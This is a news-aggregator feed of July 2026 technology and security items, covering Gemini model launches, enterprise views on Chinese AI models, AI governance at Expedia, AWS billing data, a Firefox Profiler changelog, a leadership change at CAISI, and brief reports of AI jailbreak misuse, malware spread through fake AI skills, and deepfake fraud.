To ensure safety amidst these capability upgrades, Google deploys enhanced Frontier Safety safeguards. These protections harden the model against jailbreaks and mitigate risks in Chemical, Biological, Radiological, and Nuclear domains, as well as cyber offense misuses. 
The engineering team trains the model to minimize refusals for beneficial uses, striking a necessary balance between strict security and practical utility.
Models for low-cost coding, agentic, and cybersecurity use cases — respectively
Google divided its new offerings into three distinct products tailored for different operational needs. 
Gemini 3.6 Flash serves as the heavy-duty workhorse of the trio. It handles complex coding, intricate knowledge work, and multimodal processing with improved precision. Enterprise customers utilize it for demanding tasks such as complex document parsing, intricate chart and data analysis, and long-form report drafting. The model executes complex code migrations using multi-agent orchestration frameworks with lower latency and higher quality than earlier iterations. Furthermore, 3.6 Flash aids in developing photographic texture extractors for 3D workflows using canvas interfaces.
Gemini 3.5 Flash-Lite targets environments where high throughput and absolute minimal latency are non-negotiable. Google designates it as the fastest model in the 3.5 series. 
As measured by Artificial Analysis, the model processes 350 output tokens per second, making it highly effective for agentic search and massive document processing workloads. Artificial Analysis notes this is about twice as fast as prior generation model Gemini 3.1 Flash-Lite.
Developers can configure 3.5 Flash-Lite to prioritize low-latency execution for high-volume tasks using minimal thinking levels, or engage higher thinking levels to process complex multi-step subagent workloads. 
Despite its lite designation, it outperforms the standard Gemini 3 Flash on several key agentic and coding evaluations, including SWE-Bench Pro, where it scores 54.2% compared to 49.6%, and OSWorld-Verified, scoring 74.0% versus 65.1%. 
The model extracts product features from massive datasets, generates interactive web design concepts, and scales receipt translation seamlessly.
The third product, Gemini 3.5 Flash Cyber, represents a highly specialized deployment. Google fine-tuned this model specifically to find and fix cybersecurity vulnerabilities. It integrates directly with Google's CodeMender agent. 
In practice, multiple 3.5 Flash Cyber agents work concurrently to produce a single, comprehensive vulnerability report, achieving competitive performance at the frontier on the CyberGym benchmark. 
Google did not specify an exact numerical cost for 3.5 Flash Cyber, stating only that it is fine-tuned "at a lower price per token than larger models.
Commercial licensing only
The licensing framework for the new Gemini models carries profound implications for developers and enterprise users. Google deploys Gemini 3.6 Flash and 3.5 Flash-Lite under a commercial, proprietary API model. Unlike open-source software governed by licenses such as the MIT License or the GNU General Public License, developers do not gain access to the underlying model weights, training data, or source code.
An MIT or GPL license grants users the freedom to download the codebase, modify the internal architecture, self-host the deployment, and distribute the software infrastructure independently. In contrast, Google's API approach means developers essentially rent access to the intelligence on a strict metered basis. Every prompt and generated response travels through Google's managed servers, incurring a cost based on the strict pricing structure of $1.50 per million input tokens for 3.6 Flash. 
This commercial tethering restricts deployment flexibility. Enterprises cannot air-gap the models entirely on their own local secure hardware without establishing specialized, high-tier enterprise agreements with Google Cloud. Developers remain bound by Google's acceptable use policies, arbitrary rate limits, and network requirements, creating a permanent dependency on Google's infrastructure uptime and terms of service.
The licensing for Gemini 3.5 Flash Cyber proves even more restrictive. Acknowledging the dual-use nature of cybersecurity AI—which attackers can weaponize just as easily as defenders can use it to patch systems—Google is for now making the model only available behind a limited-access pilot program, similar to the trend kicked off by Anthropic's Mythos model with its Project Glasswing program, and continued by OpenAI with its staggered rollout for GPT-5.6. 
In this case, Google is making 3.5 Flash Cyber exclusively available to governments and trusted partners. This strict gatekeeping prevents open access, prioritizing systemic security over widespread developer innovation.
Looking ahead
Google DeepMind continues to iterate rapidly, but the gap in its product line remains apparent. While the Flash series excels in speed and economy, 
the industry eagerly awaits the deployment of Gemini 3.5 Pro to gauge Google's absolute frontier capabilities.
Simultaneously, the company confirms that pre-training for Gemini 4 has already commenced. 
Until the next major flagship release materializes, developers must optimize their systems using the highly efficient, yet purposefully constrained, Flash architecture.

The latest Chinese AI models may indeed work for enterprises, but only in a handful of specific applications
Tue, 21 Jul 2026 21:24:16 +0200

Ever since Chinese AI startup DeepSeek launched three years ago, enterprise executives have been nervous about relying on Chinese AI models. 

But now that the latest Chinese AI offerings, Alibaba’s 2.4-trillion-parameter model Qwen3.8 Max and Moonshot’s 2.8-trillion-parameter model Kimi K3, are promising even more powerful performance, those IT executives are being forced to again ask if these models are worth using, even in a limited fashion.

Former Walmart head of risk Steven Eric Fisher, now an independent cybersecurity and risk advisor, thinks they should at least take another look. 

“Enterprises should take these models seriously, but neither adopt nor reject them solely because they are Chinese,” he said. “They should be assessed like any other critical technology dependency: jurisdiction, ownership, training and software provenance, licensing, data handling, hosting, security, reliability, and the ability to independently test their behavior. Geopolitical exposure is a legitimate risk factor, but it should be incorporated into technical and supply-chain diligence rather than used as a substitute for it.”

Choose applications with care

He added, “Chinese models may be especially valuable for coding, multilingual processing, high-volume document analysis, research, synthetic-data generation, and privately operated security or forensic workflows, but they should be subject to task-specific testing rather than broad benchmark claims.”

Shashi Bellamkonda, principal research director at Info-Tech Research Group, agreed that the Chinese models can work well if they are only used in carefully chosen applications. 

“Although Moonshot’s K3 still trails Claude’s Fable 5 and GPT 5.6 Sol on performance and user experience, good companies that have governance and prompt guardrails will not face the instability and improvisation of [the Chinese] models,” he said. “These models will win in usage. US frontier models are leading as the best models, but Chinese models will be sufficient for high-volume, low-drama tasks that cost less for non-critical transactions.”

On the flipside, Bellamkonda suggested a variety of areas where enterprises should avoid Chinese AI models, including “customer-facing work without a human in the loop, regulated or sensitive data, and anything where a hallucinated answer creates legal or safety exposure. That is where the reliability gap and the political-radioactivity concern both bite, and where the closed American models still earn their premium.”

Bellamkonda said he didn’t see the differences in data reliability, mostly involving hallucination rates, as meaningful for enterprise AI strategy decisions.

“Every open-weight model in this class can get facts wrong or make things up. That is fixable with the right setup, so it is not a reason to avoid these models,” he said. “For high-volume tasks with clear limits, you feed the model your own trusted documents to answer from, and you keep a person checking the output. That combination is safe for production. The model on its own is not.”

Too early for enterprises to consider

However, not everyone agrees that the latest Chinese models have earned their place as enterprise AI decision options. 

Cybersecurity consultant Brian Levine, executive director of FormerGov, focused on Chinese technology concerns when he worked for the US Justice Department as its representative in the US law enforcement Joint Liaison Group (JLG) with China. 

“It is way too early for US enterprises to seriously consider these models,” he said. “Until proven otherwise, enterprises should assume that if they use these models, they may be granting China complete access to everything they do through the models, and potentially access to their networks and employees more broadly. At this point, any pros of using such models are strongly outweighed by the potential security, confidentiality, and reliability concerns.”

Tom Findling, CEO of Conifers.ai, was equally emphatic that enterprise CIOs need to steer clear of these newer Chinese models. 

“Using them inhouse? Absolutely not. You simply don’t know what is planted inside of it and you don’t know what training data is put into them,” Findling said. 

Mike Wilkes, enterprise CISO at Aikido Security, added that the very attractive pricing for these Chinese models may be appealing, but suggested that, despite the low cost, they’re ultimately too risky.

“Enterprises should take these models seriously, but not romantically. Parameter count is horsepower measured in a showroom, not braking distance in the rain,” he said. “The real tests are reliability on your data, the cost of a wrong answer, and whether the model behaves predictably under pressure.”

He noted that the benchmarks on the latest open-weights models are impressive, and very close to those of the frontier lab models, which makes the cost ”incredibly seductive, especially when a team does not want to risk their data being used to train those frontier models.”

But the Chinese models can still work in specific circumstances. “The strongest value will be in bounded, reversible and inspectable work: coding inside a sandbox, multilingual translation, document triage, data extraction and other high-volume tasks where outputs can be verified,” he said. “Cheap intelligence is valuable, but only when it is not mistaken for trustworthy judgment.”

Wilkes added that the regulatory issues surrounding Chinese models can be especially problematic. Texas, for example, has banned their usage.  

A rational choice for some workloads

However, Yuri Goryunov, CIO of consulting firm Acceligence, argued that CIOs should seriously consider these models. 

“Counterintuitively, the biggest benefit of Kimi and models like it is the lack of guardrails,” Goryunov said. “Think of it as stick shift cars in the era of automatics. If you want ease and comfort, stay with the frontiers because they have cruise control, shift the gears for you and they decide when. If you want performance and control, expand your horizons. But a stick shift assumes you know how to drive one: you bring your own governance, your own evals, your own safety layer. That’s a cost and specialized talent, which is super rare, and for the right organization it’s also the whole point.”

Goryunov’s bottom line: “For internal, high-volume, well-harnessed workloads, [the Chinese models] have moved from ‘watch list’ to ‘rational choice.’”

This article originally appeared on CIO.com.

The latest Chinese AI models may indeed work for enterprises, but only in a handful of specific applications
Tue, 21 Jul 2026 21:03:34 +0200

Ever since Chinese AI startup DeepSeek launched three years ago, enterprise executives have been nervous about relying on Chinese AI models. 

But now that the latest Chinese AI offerings, Alibaba’s 2.4-trillion-parameter model Qwen3.8 Max and Moonshot’s 2.8-trillion-parameter model Kimi K3, are promising even more powerful performance, those IT executives are being forced to again ask if these models are worth using, even in a limited fashion.

Former Walmart head of risk Steven Eric Fisher, now an independent cybersecurity and risk advisor, thinks they should at least take another look. 

“Enterprises should take these models seriously, but neither adopt nor reject them solely because they are Chinese,” he said. “They should be assessed like any other critical technology dependency: jurisdiction, ownership, training and software provenance, licensing, data handling, hosting, security, reliability, and the ability to independently test their behavior. Geopolitical exposure is a legitimate risk factor, but it should be incorporated into technical and supply-chain diligence rather than used as a substitute for it.”

Choose applications with care

He added, “Chinese models may be especially valuable for coding, multilingual processing, high-volume document analysis, research, synthetic-data generation, and privately operated security or forensic workflows, but they should be subject to task-specific testing rather than broad benchmark claims.”

Shashi Bellamkonda, principal research director at Info-Tech Research Group, agreed that the Chinese models can work well if they are only used in carefully chosen applications. 

“Although Moonshot’s K3 still trails Claude’s Fable 5 and GPT 5.6 Sol on performance and user experience, good companies that have governance and prompt guardrails will not face the instability and improvisation of [the Chinese] models,” he said. “These models will win in usage. US frontier models are leading as the best models, but Chinese models will be sufficient for high-volume, low-drama tasks that cost less for non-critical transactions.”

On the flipside, Bellamkonda suggested a variety of areas where enterprises should avoid Chinese AI models, including “customer-facing work without a human in the loop, regulated or sensitive data, and anything where a hallucinated answer creates legal or safety exposure. That is where the reliability gap and the political-radioactivity concern both bite, and where the closed American models still earn their premium.”

Bellamkonda said he didn’t see the differences in data reliability, mostly involving hallucination rates, as meaningful for enterprise AI strategy decisions.

“Every open-weight model in this class can get facts wrong or make things up. That is fixable with the right setup, so it is not a reason to avoid these models,” he said. “For high-volume tasks with clear limits, you feed the model your own trusted documents to answer from, and you keep a person checking the output. That combination is safe for production. The model on its own is not.”

Too early for enterprises to consider

However, not everyone agrees that the latest Chinese models have earned their place as enterprise AI decision options. 

Cybersecurity consultant Brian Levine, executive director of FormerGov, focused on Chinese technology concerns when he worked for the US Justice Department as its representative in the US law enforcement Joint Liaison Group (JLG) with China. 

“It is way too early for US enterprises to seriously consider these models,” he said. “Until proven otherwise, enterprises should assume that if they use these models, they may be granting China complete access to everything they do through the models, and potentially access to their networks and employees more broadly. At this point, any pros of using such models are strongly outweighed by the potential security, confidentiality, and reliability concerns.”

Tom Findling, CEO of Conifers.ai, was equally emphatic that enterprise CIOs need to steer clear of these newer Chinese models. 

“Using them inhouse? Absolutely not. You simply don’t know what is planted inside of it and you don’t know what training data is put into them,” Findling said. 

Mike Wilkes, enterprise CISO at Aikido Security, added that the very attractive pricing for these Chinese models may be appealing, but suggested that, despite the low cost, they’re ultimately too risky.

“Enterprises should take these models seriously, but not romantically. Parameter count is horsepower measured in a showroom, not braking distance in the rain,” he said. “The real tests are reliability on your data, the cost of a wrong answer, and whether the model behaves predictably under pressure.”

He noted that the benchmarks on the latest open-weights models are impressive, and very close to those of the frontier lab models, which makes the cost ”incredibly seductive, especially when a team does not want to risk their data being used to train those frontier models.”

But the Chinese models can still work in specific circumstances. “The strongest value will be in bounded, reversible and inspectable work: coding inside a sandbox, multilingual translation, document triage, data extraction and other high-volume tasks where outputs can be verified,” he said. “Cheap intelligence is valuable, but only when it is not mistaken for trustworthy judgment.”

Wilkes added that the regulatory issues surrounding Chinese models can be especially problematic. Texas, for example, has banned their usage.  

A rational choice for some workloads

However, Yuri Goryunov, CIO of consulting firm Acceligence, argued that CIOs should seriously consider these models. 

“Counterintuitively, the biggest benefit of Kimi and models like it is the lack of guardrails,” Goryunov said. “Think of it as stick shift cars in the era of automatics. If you want ease and comfort, stay with the frontiers because they have cruise control, shift the gears for you and they decide when. If you want performance and control, expand your horizons. But a stick shift assumes you know how to drive one: you bring your own governance, your own evals, your own safety layer. That’s a cost and specialized talent, which is super rare, and for the right organization it’s also the whole point.”

Goryunov’s bottom line: “For internal, high-volume, well-harnessed workloads, [the Chinese models] have moved from ‘watch list’ to ‘rational choice.’”

Hacker Turns AI Jailbreaks Into Offensive Attack Platform
Tue, 21 Jul 2026 21:02:48 +0200
A Russian-speaking actor, "Trim," dismantled publicly available frontier models and integrated them with offensive security tools.

Now You Can teach a Skill to Claude by Just Recording your Screen
Tue, 21 Jul 2026 20:41:42 +0200
Anthropic has rolled out a new capability in Claude Cowork that lets users teach the AI assistant a repeatable skill simply by recording their screen while performing a task. The feature, called “Record a skill,” turns a screen capture into…
Read more →
The post Now You Can teach a Skill to Claude by Just Recording your Screen appeared first on IT Security News.

Evals are the new PRD, Expedia’s AI chief tells VB Transform 2026
Tue, 21 Jul 2026 20:19:07 +0200
“The new PRD are the evals,” Xavi Amatriain, Expedia Group’s first chief AI and data officer, told the VB Transform 2026 audience last week in Menlo Park. “So basically, you encode what you want the product to do through your evals, which might include red teaming evals and all kinds of other things, which already have a bunch of security requirements. So, you already embed that into the PRD and the product design document before you even start coding.”
He pushed it further. “With AI-assisted or AI-generated code, that’s gonna be the future. It’s like all your thinking is gonna go into the evals.”
Amatriain served as VP of AI and Compute Enablement at Google across the platforms powering Gemini and Google Search before his December 2025 appointment at Expedia. He's mentored talent who went on to found Perplexity and Scale AI. 
VentureBeat’s VB Pulse research on the evaluation gap reinforced the stakes. Sixty-six percent of the 157 enterprises surveyed already permit some production deployment without human review or are building toward it within the next 12 months, yet only 5% fully trust the automated evaluations that would make that decision. Half have shipped an agent that passed internal evals but then failed with a real customer.
Don’t let guardrails get in the way of feedback
“The more guardrails and artificial business rules and sort of rules that you put into the system, the worse off,” Amatriain said. “Not only because they’re brittle, but also because they actually mess up with the feedback loop. You are actually biasing the user and the feedback you get from the user, and then you’re learning that in the wrong way.” He called guardrails “a necessary evil” and said the goal is to minimize their impact over time.
Not everyone at Transform agreed. Other speakers argued during the event that the highest-risk actions still demand very firm guardrails.
Expedia governs AI through three layers instead. Principles come first, communicated broadly. “I like to encode at a very high level how I expect decisions to be made, because in a large organization you’re gonna have a lot of distributed decision making,” Amatriain said. “And sometimes, if you’re lucky enough, those principles might be embedded in your culture. But most of the time, my experience has been they’re not.” The processes and tools that enforce them follow. “Principles look really nice on a picture on some wall, but you need to then give them teeth,” he said. Automation sits on top of both.
In practice, this plays out through what Expedia calls agent release toll gates, checkpoints calibrated to risk. “Governance needs to correlate to the risk,” Amatriain said. “And if you have something that is low risk, you don’t need too much governance to get in the way. But if there’s a lot of risk, then you need more governance. That can be encoded.” The toll gates tie evaluation rounds, red teaming, and security review to each agent’s risk level, and the checks shift from recommended to required as the stakes climb. 
Specialized agents over monolithic intelligence
“Even when I was at Google, I was like, I don’t believe in AGI as sort of like a singleton and a unified sort of like single model,” Amatriain told the audience. “I think it’s much better to think of it as composition, sort of like having specialized agents that are very good at some task and then composing the system out of those specialized agents.”
Expedia’s architecture starts at the component level. Tools compose into skills, skills assemble into sub-agents, and sub-agents get orchestrated into the full agentic system. “You need to have those principles that are unified that talk about things like what is the tone that we’re using, how are we addressing the user, how are we passing context, memory,” he said. “All of that needs to be thoroughly designed.” He framed this as a systemic design problem. “It’s not about the model, it’s not about a specific solution, it’s about how you’re designing the system.”
Amatriain argued that scoping each agent narrowly also makes the system easier to secure, since teams can evaluate and lock down individual agents in isolation before composing them.
When the user must keep the final click
Travel pricing changes in real time, flight availability shifts minute to minute, and hotel reviews routinely contradict what suppliers claim. Amatriain described a system that blends retrieval-augmented generation with direct API tool calls, choosing the approach based on latency. “If the user asks you a question like, how much does a four star hotel usually cost in Chicago in July, you don’t expect the agent to take two minutes to answer that question,” he said. “You expect an immediate answer because that answer can be cached and it doesn’t need real-time information.” A pet-friendly four-star near Lake Michigan with a pool might justify a 30-second reasoning window.
“The supplier might be saying, yeah, we have a great swimming pool, but then we also have the reviews from the travelers and we actually see there’s two reviews that say the swimming pool was not great or was not open after 6 p.m.,” Amatriain explained. A generic chatbot, he added, would only surface what a supplier self-reports, while Expedia cross-references against its own review corpus.
“We don’t want the agent to book the hotel or to buy you a plane ticket for you,” Amatriain said. “That’s something that the user has to have the agency. And the agent can recommend, can suggest, can discuss with you, but you’re gonna have to hit that click. And that’s non-negotiable.” That constraint, he argued, is also a security decision. “Once you establish those design principles, you also don’t need the guardrail because otherwise you’re gonna have to put all those guardrails in after the fact.”
The next attackers will be other AI systems
“Security needs to be a principle that is shifted as left as possible and as part of the design itself,” Amatriain said in response to an audience question. “And usually when you need a guardrail is because you’ve not thought about it early on.”
A second audience member pressed for lessons learned from production. Amatriain described a feedback loop where monitoring signals flow back into the eval suite. “You can almost automate the whole cycle,” he said. “But having that whole feedback loop from real signals, from your operating AI system, all the way into being reported and fixed as quickly as possible is going to become essential.”
Amatriain's toll gates are a bet that governance calibrated to risk can stay ahead of that feedback loop. VentureBeat’s separate June Pulse survey on agent security, drawn from 107 enterprises, shows how thin that margin is. More than half, 54 percent, have already had an agent security incident or near-miss. Fifty-nine percent plan to adopt, add, or replace agent security tooling within 12 months, and 29% plan to move this quarter. Incident rates climb with organization size, reaching 63% among enterprises with more than 1,000 employees versus 49% for companies with 101 to 1,000. And sandbox isolation, the one post-breach control that limits damage, drops from 35% adoption at the smaller companies to just 20 percent at the largest.
Amatriain warned that threats will increasingly come from other AI systems. “You’re gonna get threats coming not only from humans but also from other external agentic systems that are really powerful, and they’re gonna be poking at everything you’re doing. And as soon as you detect something, it’s not only about the detection, but the time to fix becomes essential here.”

Now You Can teach a Skill to Claude by Just Recording your Screen
Tue, 21 Jul 2026 20:10:43 +0200
Anthropic has rolled out a new capability in Claude Cowork that lets users teach the AI assistant a repeatable skill simply by recording their screen while performing a task. The feature, called “Record a skill,” turns a screen capture into a workflow Claude can execute on demand, eliminating the need to write manual instructions or […]
The post Now You Can teach a Skill to Claude by Just Recording your Screen appeared first on Cyber Security News.

Prompt Engineering Isn’t Enough: How Four Bricks of Context Engineering Stop RAG Hallucinations
Tue, 21 Jul 2026 18:35:05 +0200
Enterprise Document Intelligence [Vol.1 #9bis] - Your RAG isn’t hallucinating, it’s answering the wrong context faithfully. On real NIST and World Bank documents, watch each of the four bricks break, and the contract that closes it
The post Prompt Engineering Isn’t Enough: How Four Bricks of Context Engineering Stop RAG Hallucinations appeared first on Towards Data Science.

Russian Hacker Turns Jailbroken Claude Into Pentest Platform
Tue, 21 Jul 2026 16:24:49 +0200
Russian-speaking actor Trim built a commercial offensive AI pentest tool on jailbroken Claude models This article has been indexed from www.infosecurity-magazine.com Read the original article: Russian Hacker Turns Jailbroken Claude Into Pentest Platform
Read more →
The post Russian Hacker Turns Jailbroken Claude Into Pentest Platform appeared first on IT Security News.

AWS standardizes more AI billing data to simplify cost analysis
Tue, 21 Jul 2026 16:18:50 +0200

AWS has updated AWS Data Exports, its service for generating and managing cost and usage Reports (CURs), to include standardized Amazon Bedrock product metadata, making it easier for enterprise engineering teams to analyze AI usage and spending as they scale AI deployments spanning multiple foundation models.

The update extends billing exports with normalized fields for model provider, model name, inference type, inference mode, billing unit and Bedrock product family, and will enable enterprises to identify which models generated costs and compare spending across providers without relying on custom parsing or normalization of billing records, AWS wrote in a blog post.

That reduced reliance on custom parsing will reduce the engineering effort required to analyze billing data, analysts said.

“Before the update, a data engineer would typically need to maintain a model ID registry, write regex against usage type strings, or join AWS CloudTrail with CUR to figure out which provider generated which cost,” said Bhupendra Chopra, chief revenue officer at IT consulting firm Kanerika.

The new standardized fields “can be the difference between a billing pipeline that needs constant babysitting and one that doesn’t,” Chopra added.

That’s because custom parsing logic is more prone to break down or require maintenance when AWS adds new models or updates pricing in Bedrock, said Pareekh Jain, principal analyst at Pareekh Consulting.

Richer billing data to boost enterprise AI cost governance

Beyond reducing engineering overhead, the update could also help enterprises improve AI cost governance.

Before this update FinOps teams struggled to identify which model Bedrock related to because usage type fields were inconsistent, and there was no unified product family name that captured all Bedrock costs in one place, Chopra said.

“Now those attributes — model provider, model name, inference type, inference mode, pricing unit — are standardized and available by default. That’s the plumbing work no one talks about, but it’s what makes downstream reporting actually reliable,” Chopra added.

This, said Jain, makes it easier to build dashboards showing cost by model, provider, token type or inference mode while also identifying expensive workloads, unusual token growth and opportunities to move to cheaper models or batch processing.

It’s a timely update, especially in light of last week’s AWS billing issue that caused some customers to see incorrect cost estimates of services consumed in the AWS Management Console, said Muskan Bandta, cloud associate at FinOps services providing firm ZopDev.

“Anything that gives customers clearer, more granular and more trustworthy billing data is welcome when confidence in the numbers has just been shaken. It does not fix what went wrong, but better visibility into where spend is going is exactly what teams want more of after an episode like that,” Bandta added.

This article first appeared on InfoWorld.

Firefox Tooling Announcements: Firefox Profiler Deployment (July 21, 2026)
Tue, 21 Jul 2026 16:11:42 +0200
The latest version of the Firefox Profiler is now live! Check out the full changelog below to see what’s changed:
Highlights:

[fatadel] Show counter values over time in profiler-cli (#6136)
[Markus Stange] More typed arrays: sample + counter times, some frametable columns (#6139)
[Nazım Can Altınova] Add marker handles to profiler-cli thread network (#6172)
[Nazım Can Altınova] Surface network activity across profiler-cli (#6175)
[Nazım Can Altınova] Add profile meta command to profiler-cli (#6177)
[Markus Stange] Allow raw marker table’s startTime and endTime columns to be Float64Array (#6169)

Other Changes:

[Sky Ning] Skip preview links for non-main PRs (#6161)
[spokodev] fix(gecko-upgrade): don’t crash on a counter with empty sample_groups (#6160)
[Markus Stange] Make profile-conversion snapshots more compact and meaningful (#6152)
[Nazım Can Altınova] Only render a marker url field as a link when the whole value is a URL (#6163)
[fatadel] Show each counter’s owning process in profiler-cli (#6164)
[Nazım Can Altınova] Document the pre-existing thread info and network JSON schemas in the cli (#6171)
[Markus Stange] Copy column contents in getRawSamplesTableBuilderFromExisting for consistency (#6168)
[Markus Stange] Convert eligible columns to typed arrays when outputting from profiler-edit (#6167)
[Markus Stange] Remove unused samples.thread column (#6151)
[Markus Stange] Fixed botched merge which broke ‘yarn ts’ (#6174)
[Markus Stange] Update json-slabs 0.3.0 → 0.4.0 (major) (#6176)
[nightcityblade] Fix light theme text selection colors (#6186)
[Nazım Can Altınova] Import source map URLs from Chrome DevTools traces (#6190)
[Nazım Can Altınova] Rename yarn build-profiler-cli script to build-cli (#6191)
[Nazım Can Altınova] Migrate husky to version 9 (#6201)
[Nazım Can Altınova] Fix horizontal overflow when the transform navigator is long (#6199)
[fatadel] Add a ‘hexadecimal’ marker schema field format (#6197)
[Nazım Can Altınova] Bump source-map to 0.8.0 and remove the old type workaround (#6202)
[Nazım Can Altınova]  Sync: l10n → main (July 21, 2026) (#6209)

Big thanks to our amazing localizers for making this release possible:

fr: parmegiani.thomas
fr: Théo Chevalier
sr: Марко Костић (Marko Kostić)
sv-SE: Luna Jernberg
tr: Grk
zh-CN: Ariel
zh-CN: Olvcpr423

Find out more about the Firefox Profiler on profiler.firefox.com! If you have any questions, join the discussion on our Matrix channel!
            1 post - 1 participant
            Read full topic

Russian Hacker Turns Jailbroken Claude Into Pentest Platform
Tue, 21 Jul 2026 16:10:22 +0200
Russian-speaking actor Trim built a commercial offensive AI pentest tool on jailbroken Claude models

AWS standardizes more AI billing data to simplify cost analysis
Tue, 21 Jul 2026 16:05:12 +0200

AWS has updated AWS Data Exports, its service for generating and managing cost and usage Reports (CURs), to include standardized Amazon Bedrock product metadata, making it easier for enterprise engineering teams to analyze AI usage and spending as they scale AI deployments spanning multiple foundation models.

The update extends billing exports with normalized fields for model provider, model name, inference type, inference mode, billing unit and Bedrock product family, and will enable enterprises to identify which models generated costs and compare spending across providers without relying on custom parsing or normalization of billing records, AWS wrote in a blog post.

That reduced reliance on custom parsing will reduce the engineering effort required to analyze billing data, analysts said.

“Before the update, a data engineer would typically need to maintain a model ID registry, write regex against usage type strings, or join AWS CloudTrail with CUR to figure out which provider generated which cost,” said Bhupendra Chopra, chief revenue officer at IT consulting firm Kanerika.

The new standardized fields “can be the difference between a billing pipeline that needs constant babysitting and one that doesn’t,” Chopra added.

That’s because custom parsing logic is more prone to break down or require maintenance when AWS adds new models or updates pricing in Bedrock, said Pareekh Jain, principal analyst at Pareekh Consulting.

Richer billing data to boost enterprise AI cost governance

Beyond reducing engineering overhead, the update could also help enterprises improve AI cost governance.

Before this update FinOps teams struggled to identify which model Bedrock related to because usage type fields were inconsistent, and there was no unified product family name that captured all Bedrock costs in one place, Chopra said.

“Now those attributes — model provider, model name, inference type, inference mode, pricing unit — are standardized and available by default. That’s the plumbing work no one talks about, but it’s what makes downstream reporting actually reliable,” Chopra added.

This, said Jain, makes it easier to build dashboards showing cost by model, provider, token type or inference mode while also identifying expensive workloads, unusual token growth and opportunities to move to cheaper models or batch processing.

It’s a timely update, especially in light of last week’s AWS billing issue that caused some customers to see incorrect cost estimates of services consumed in the AWS Management Console, said Muskan Bandta, cloud associate at FinOps services providing firm ZopDev.

“Anything that gives customers clearer, more granular and more trustworthy billing data is welcome when confidence in the numbers has just been shaken. It does not fix what went wrong, but better visibility into where spend is going is exactly what teams want more of after an episode like that,” Bandta added.

When Trusted Gov Infrastructure Becomes an Attack Channel: PhantomEnigma Puts Banks at Risk 
Tue, 21 Jul 2026 15:40:06 +0200
A recent attack investigated by ANY.RUN experts revealed how attackers used more than 20 hijacked Brazilian government websites to support a campaign targeting banking organizations.  By hiding behind trusted public-sector infrastructure, PhantomEnigma made malicious activity harder to detect, giving attackers more time to steal credentials, expand access, and increase business impact.  How PhantomEnigma Turns Credential Theft into Business Risk  Credential theft is […]
The post When Trusted Gov Infrastructure Becomes an Attack Channel: PhantomEnigma Puts Banks at Risk  appeared first on Cyber Security News.

US AI testing institute chief steps down within three months
Tue, 21 Jul 2026 14:48:10 +0200

The head of the US government’s AI testing institute, Chris Fall, has resigned about three months after taking charge of the Center for AI Standards and Innovation (CAISI), the federal organization responsible for evaluating advanced artificial intelligence models for safety and security.

Current National Institute of Standards and Technology NIST Director Arvind Raman will serve as acting CAISI Director following Fall’s departure while continuing to oversee the Commerce Department office responsible for the institute, the Daily Signal reported, citing two people familiar with the matter.

A Commerce Department spokesperson who spoke to the publication did not disclose a reason for the resignation.

Fall assumed leadership of CAISI in April after the Trump administration reorganized the former US AI Safety Institute under NIST. The institute develops methodologies for evaluating frontier AI models and works with AI developers on voluntary technical assessments covering areas such as cybersecurity, model misuse, reliability and other risks associated with increasingly capable AI systems.

The leadership change comes as governments and AI companies continue developing technical approaches for evaluating frontier AI models while enterprises expand deployments of generative AI and agentic AI across business operations.

In recent months, the Commerce Department has taken a more active role in AI policy involving advanced models, placing greater attention on how the federal government evaluates technologies with potential national security implications.

Continuity matters more than personalities

CAISI works with AI developers such as Anthropic, Google’s DeepMind and OpenAI on voluntary evaluations of frontier AI models and develops methodologies for testing model capabilities and risks. The institute does not regulate AI developers or certify commercial AI systems.

For enterprises, those evaluations are one source of technical information alongside vendors’ own testing, third-party security assessments and internal AI governance programs.

Sanchit Vir Gogia, chief analyst at Greyhound Research, said enterprises should focus less on the individual leading the institute and more on whether its technical work continues with the same level of consistency and transparency.

“Leadership churn at CAISI weakens the signal long before it weakens the science,” Gogia said. “The testing has not stopped. Its authority simply does not travel as cleanly once the leadership does not.”

According to Gogia, the more important question for enterprises is not whether the institute’s evaluation work will continue but whether the processes supporting those evaluations remain stable.

“The instinct is to ask whether the pipeline is breaking,” he said. “The more useful question is where the pipeline now sits.”

Enterprises still carry the burden of AI governance

Gogia said organizations should continue treating government-led AI evaluations as one input into their governance processes rather than as evidence that a model is inherently safe for enterprise deployment.

“A government evaluation was always a signal, never a certificate,” he said. “A signal loses value the moment its issuer becomes unpredictable.”

He said enterprises should instead monitor whether CAISI maintains consistent evaluation methodologies, continues publishing technical findings and preserves continuity within its research teams under interim leadership.

“The name on the door is not the signal. The behaviour underneath it is,” Gogia said.

Gogia also cautioned against linking Fall’s resignation to recent Commerce Department actions involving AI policy or export controls, noting that there is no public evidence connecting the two.

“CAISI evaluates; it does not enforce export controls, because it holds no such power,” he said. “This is not a testing body reaching for enforcement. It is enforcement reaching past the testing body.”

With Raman assuming the role on an interim basis, the next significant milestone for enterprises will be the appointment of a permanent director, and whether the institute’s evaluation programs continue without disruption, the analyst said.

Gogia said the successor’s mandate may prove more important than the individual selected.

“A CAISI result is not a safe harbour,” he said. “It informs an obligation; it does not discharge one.” NIST did not immediately respond to a request for comment.

AgentBaiting Campaign Uses 800 Fake AI Skills and MCP Servers to Deliver SmartLoader Malware
Tue, 21 Jul 2026 14:37:50 +0200
Malware operators are increasingly using tools built to extend artificial intelligence as a delivery route. A newly documented campaign called AgentBaiting uses fraudulent AI Skills and Model Context Protocol, or MCP, servers to distribute SmartLoader malware through trusted-looking GitHub projects and public capability catalogs. The operation turns a routine search for an AI integration into […]
The post AgentBaiting Campaign Uses 800 Fake AI Skills and MCP Servers to Deliver SmartLoader Malware appeared first on Cyber Security News.

Shufti simplifies cross-border compliance with the Glocal Platform
Tue, 21 Jul 2026 13:21:42 +0200
Shufti has launched the Shufti Glocal Platform, a compliance lifecycle management solution designed to help organizations manage identity verification, fraud prevention, risk assessment, and regulatory compliance through a single platform across every industry, every region, and every use case. For decades, global expansion has come with an unwritten rule: every new market needs a new compliance provider. A solution built for one region may not fully support the regulations, document ecosystems, verification methods, or risk … More →
The post Shufti simplifies cross-border compliance with the Glocal Platform appeared first on Help Net Security.

Asymmetric warfare in financial services: AI-powered fraud demands unified command
Tue, 21 Jul 2026 13:08:50 +0200

Military strategists know that asymmetric wars are lost not at the point of attack but at the seams between defensive units, where no single commander owns the territory and information moves slower than the threat. In January 2024, a finance employee at Arup’s Hong Kong office learned this lesson for $25 million, joining a video call with what appeared to be the engineering firm’s chief financial officer and several colleagues, receiving instructions to wire funds to a designated account, and complying. Every face on the screen was a deepfake, cloned from publicly available footage of the actual executives. The attackers conducted the entire meeting in real time and vanished before anyone in the organization realized the CFO had never logged on.

